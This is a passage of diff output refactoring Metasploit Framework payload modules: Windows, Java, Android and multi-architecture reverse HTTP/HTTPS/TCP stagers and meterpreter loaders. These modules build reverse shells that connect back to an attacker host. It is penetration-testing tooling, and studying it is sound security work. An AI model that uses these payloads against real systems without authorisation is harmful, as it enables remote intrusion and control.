dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)

View File

@ -42,23 +42,24 @@ module Payload::Windows::ReverseHttp
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
}
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@ -92,9 +93,9 @@ module Payload::Windows::ReverseHttp
#
# Generate the URI for the initial stager
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0

View File

@ -20,8 +20,9 @@ module Payload::Windows::ReverseHttps
#
# Generate the first stage
#
def generate
super(ssl: true)
def generate(opts={})
opts[:ssl] = true
super(opts)
end
#

View File

@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp
#
# Generate the first stage
#
def generate
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
port: ds['LPORT'],
host: ds['LHOST'],
retry_count: ds['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:exitfunk] = ds['EXITFUNC']
conf[:reliable] = true
end

View File

@ -2,10 +2,10 @@
require 'msf/core'
require 'msf/core/reflective_dll_loader'
require 'rex/payloads/meterpreter/config'
module Msf
###
#
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
@ -69,14 +69,39 @@ module Payload::Windows::MeterpreterLoader_x64
^
end
def stage_meterpreter(stageless=false)
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)

View File

@ -46,23 +46,25 @@ module Payload::Windows::ReverseHttp_x64
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
}
# add extended options if we do have enough space
if self.available_space && required_space <= self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@ -90,14 +92,13 @@ module Payload::Windows::ReverseHttp_x64
#
# Generate the URI for the initial stager
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5

View File

@ -23,8 +23,9 @@ module Payload::Windows::ReverseHttps_x64
#
# Generate the first stage
#
def generate
super(ssl: true)
def generate(opts={})
opts[:ssl] = true
super(opts)
end
end

View File

@ -29,7 +29,8 @@ class PayloadCachedSize
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
'RC4PASSWORD' => 'Metasploit',
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh'
'PEXEC' => '/bin/sh',
'StagerURILength' => 5
},
'Encoder' => nil,
'DisableNops' => true

View File

@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true,
},
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi },
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0

View File

@ -35,9 +35,6 @@ module MetasploitModule
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#

View File

@ -30,9 +30,6 @@ module MetasploitModule
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#

View File

@ -16,37 +16,24 @@ module MetasploitModule
include Msf::Payload::Java
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
def initialize(info={})
super(merge_info(info,
'Name' => 'Java Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
],
'License' => MSF_LICENSE,
'Platform' => [ 'java' ],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
'Name' => 'Java Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' => {'Offsets' => {}, 'Payload' => ''}
))
@class_files = [
[ "metasploit", "Payload.class" ],
[ "javapayload", "stage", "Stage.class" ],
[ "javapayload", "stage", "StreamForwarder.class" ],
[ "javapayload", "stage", "Shell.class" ],
]
end
def generate_jar(opts={})
jar = Rex::Zip::Jar.new
jar.add_sub("metasploit") if opts[:random]
@class_files.each do |path|
class_files.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
@ -57,15 +44,16 @@ module MetasploitModule
jar.add_file(path.join("/"), data)
end
jar.build_manifest(:main_class => "metasploit.Payload")
jar.add_file("metasploit.dat", config)
jar.add_file("metasploit.dat", stager_config(opts))
jar
end
def config
def stager_config(opts={})
ds = opts[:datastore] || datastore
c = ""
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
# Magical, means use stdin/stdout. Used for debugging
#c << "LPORT=0\n"
c << "EmbeddedStage=Shell\n"
@ -73,4 +61,12 @@ module MetasploitModule
c
end
def class_files
[
['metasploit', 'Payload.class'],
['javapayload', 'stage', 'Stage.class'],
['javapayload', 'stage', 'StreamForwarder.class'],
['javapayload', 'stage', 'Shell.class'],
]
end
end

View File

@ -35,7 +35,7 @@ module MetasploitModule
def generate_reverse_http(opts={})
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]

View File

@ -36,7 +36,7 @@ module MetasploitModule
opts[:scheme] = 'https'
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]

View File

@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})

View File

@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {

View File

@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {

View File

@ -41,8 +41,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})

View File

@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})

View File

@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})

View File

@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {

View File

@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {

View File

@ -41,8 +41,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})

View File

@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/android/reverse_http'
require 'msf/core/payload/uuid/options'
module MetasploitModule
@ -13,7 +14,7 @@ module MetasploitModule
include Msf::Payload::Stager
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Payload::Android::ReverseHttp
def initialize(info = {})
super(merge_info(info,
@ -24,21 +25,8 @@ module MetasploitModule
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ''}
))
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
def generate_config_bytes(opts={})
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
super(opts)
end
end

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/android/reverse_https'
require 'msf/core/payload/uuid/options'
module MetasploitModule
@ -13,7 +14,7 @@ module MetasploitModule
include Msf::Payload::Stager
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Payload::Android::ReverseHttps
def initialize(info = {})
super(merge_info(info,
@ -24,21 +25,8 @@ module MetasploitModule
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ''}
))
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
def generate_config_bytes(opts={})
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
super(opts)
end
end

View File

@ -3,40 +3,29 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit-payloads'
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/transport_config'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
require 'msf/core/payload/android/reverse_tcp'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Stager
include Msf::Payload::TransportConfig
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Payload::Android::ReverseTcp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Android Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => ['timwr', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ''}
))
'Name' => 'Android Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ''}
))
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
end

View File

@ -5,58 +5,27 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
require 'msf/core/payload/java/bind_tcp'
module MetasploitModule
CachedSize = 5105
CachedSize = 5118
include Msf::Payload::Stager
include Msf::Payload::Java
include Msf::Payload::Java::BindTcp
def initialize(info = {})
def initialize(info={})
super(merge_info(info,
'Name' => 'Java Bind TCP Stager',
'Description' => 'Listen for a connection',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ""}
))
register_advanced_options(
[
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ]
'Name' => 'Java Bind TCP Stager',
'Description' => 'Listen for a connection',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ''}
))
end
def config
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = datastore["AESPassword"] || ""
if pass != ""
c << "AESPassword=#{pass}\n"
@class_files = [
[ "metasploit", "AESEncryption.class" ],
]
else
@class_files = [ ]
end
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c
end
end

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/java/reverse_http'
module MetasploitModule
@ -12,58 +13,19 @@ module MetasploitModule
include Msf::Payload::Stager
include Msf::Payload::Java
include Msf::Payload::Java::ReverseHttp
def initialize(info = {})
def initialize(info={})
super(merge_info(info,
'Name' => 'Java Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
'hdm', # windows/reverse_http
],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ""}
))
register_advanced_options(
[
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ]
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "#{luri}"
c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n"
c
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
'Name' => 'Java Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => ['mihi', 'egypt', 'hdm'],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ''}
))
end
end

View File

@ -6,6 +6,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/uuid/options'
require 'msf/core/payload/java/reverse_https'
module MetasploitModule
@ -13,61 +14,19 @@ module MetasploitModule
include Msf::Payload::Stager
include Msf::Payload::Java
include Msf::Payload::UUID::Options
include Msf::Payload::Java::ReverseHttps
def initialize(info = {})
super(merge_info(info,
'Name' => 'Java Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
'hdm', # windows/reverse_https
],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ""}
'Name' => 'Java Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS',
'Author' => ['mihi', 'egypt', 'hdm',],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ''}
))
register_advanced_options(
[
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [
[ "metasploit", "PayloadTrustManager.class" ],
]
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "#{luri}"
c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n"
c
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

View File

@ -5,8 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
require 'msf/core/payload/java/reverse_tcp'
module MetasploitModule
@ -14,54 +13,19 @@ module MetasploitModule
include Msf::Payload::Stager
include Msf::Payload::Java
include Msf::Payload::Java::ReverseTcp
def initialize(info = {})
def initialize(info={})
super(merge_info(info,
'Name' => 'Java Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ""}
))
register_advanced_options(
[
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ]
'Name' => 'Java Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ''}
))
end
def include_send_uuid
false
end
def config
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = datastore["AESPassword"] || ""
if pass != ""
c << "AESPassword=#{pass}\n"
@class_files = [
[ "metasploit", "AESEncryption.class" ],
]
else
@class_files = [ ]
end
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c
end
end

View File

@ -0,0 +1,31 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/multi/reverse_http'
module MetasploitModule
CachedSize = 0
include Msf::Payload::Stager
include Msf::Payload::Multi
include Msf::Payload::Multi::ReverseHttp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTP Stager (Mulitple Architectures)',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'OJ Reeves',
'License' => MSF_LICENSE,
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ''},
'Convention' => 'http'))
end
end

View File

@ -0,0 +1,31 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/multi/reverse_https'
module MetasploitModule
CachedSize = 0
include Msf::Payload::Stager
include Msf::Payload::Multi
include Msf::Payload::Multi::ReverseHttps
def initialize(info={})
super(merge_info(info,
'Name' => 'Reverse HTTPS Stager (Mulitple Architectures)',
'Description' => 'Tunnel communication over HTTPS',
'Author' => 'OJ Reeves',
'License' => MSF_LICENSE,
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ''},
'Convention' => 'https'
))
end
end

View File

@ -26,5 +26,4 @@ module MetasploitModule
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http'))
end
end

View File

@ -25,8 +25,7 @@ module MetasploitModule
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => false }
'Stager' => {'RequiresMidstager' => false}
))
end
end

View File

@ -5,67 +5,30 @@
require 'msf/core'
require 'msf/core/payload/android'
require 'msf/core/payload/android/meterpreter_loader'
require 'msf/base/sessions/meterpreter_android'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module MetasploitModule
include Msf::Payload::Android::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Meterpreter',
'Description' => 'Run a meterpreter server on Android',
'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Android
'Name' => 'Android Meterpreter',
'Description' => 'Run a meterpreter server in Android',
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Android
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#
# Override the Payload::Android version so we can load a prebuilt jar to be
# used as the final stage
#
def generate_stage(opts={})
clazz = 'androidpayload.stage.Meterpreter'
metstage = MetasploitPayloads.read("android", "metstage.jar")
met = MetasploitPayloads.read("android", "meterpreter.jar")
# Name of the class to load from the stage, the actual jar to load
# it from, and then finally the meterpreter stage
blocks = [
java_string(clazz),
java_string(metstage),
java_string(met),
java_string(generate_config(opts))
]
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the XML version of it
config.to_b
stage_payload(opts)
end
end

View File

@ -5,90 +5,30 @@
require 'msf/core'
require 'msf/core/payload/java'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/java/meterpreter_loader'
require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
include Msf::Payload::Java::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
# The stager should have already included this
#include Msf::Payload::Java
def initialize(info = {})
super(update_info(info,
'Name' => 'Java Meterpreter',
'Description' => 'Run a meterpreter server in Java',
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' => {
'Convention' => 'javasocket javaurl',
},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java
'Name' => 'Java Meterpreter',
'Description' => 'Run a meterpreter server in Java',
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java
))
# Order matters. Classes can only reference classes that have already
# been sent. The last .class must implement Stage, i.e. have a start()
# method.
#
# The Meterpreter.class stage is just a jar loader, not really anything
# to do with meterpreter specifically. This payload should eventually
# be replaced with an actual meterpreter stage so we don't have to send
# a second jar.
@stage_class_files = [
[ "javapayload", "stage", "Stage.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
# Must be last!
[ "javapayload", "stage", "Meterpreter.class" ],
]
end
#
# Override the Payload::Java version so we can load a prebuilt jar to be
# used as the final stage; calls super to get the intermediate stager.
#
def generate_stage(opts={})
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
config = generate_config(opts)
# All of the dependencies to create a jar loader, followed by the length
# of the jar and the jar itself, then the config
blocks = [
super(opts),
[met.length, met].pack('NA*'),
[config.length, config].pack('NA*')
]
# Deliberate off by 1 here. The call to super adds a null terminator
# so we would add 1 for the null terminate and remove one for the call
# to super.
block_count = blocks.length + @stage_class_files.length
# Pack all the magic together
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the XML version of it
config.to_b
stage_payload(opts)
end
end

View File

@ -12,35 +12,28 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
# The stager should have already included this
#include Msf::Payload::Java
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Command Shell',
'Description' => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
],
'Author' => ['mihi', 'egypt'],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' =>
{
'Convention' => 'javasocket',
},
'PayloadCompat' => {'Convention' => 'javasocket'},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::CommandShell))
end
def stage_class_files
# Order matters. Classes can only reference classes that have already
# been sent. The last .class must implement Stage, i.e. have a start()
# method.
@stage_class_files = [
[
[ "javapayload", "stage", "Stage.class" ],
[ "javapayload", "stage", "StreamForwarder.class" ],
[ "javapayload", "stage", "Shell.class" ],
]
end
end

View File

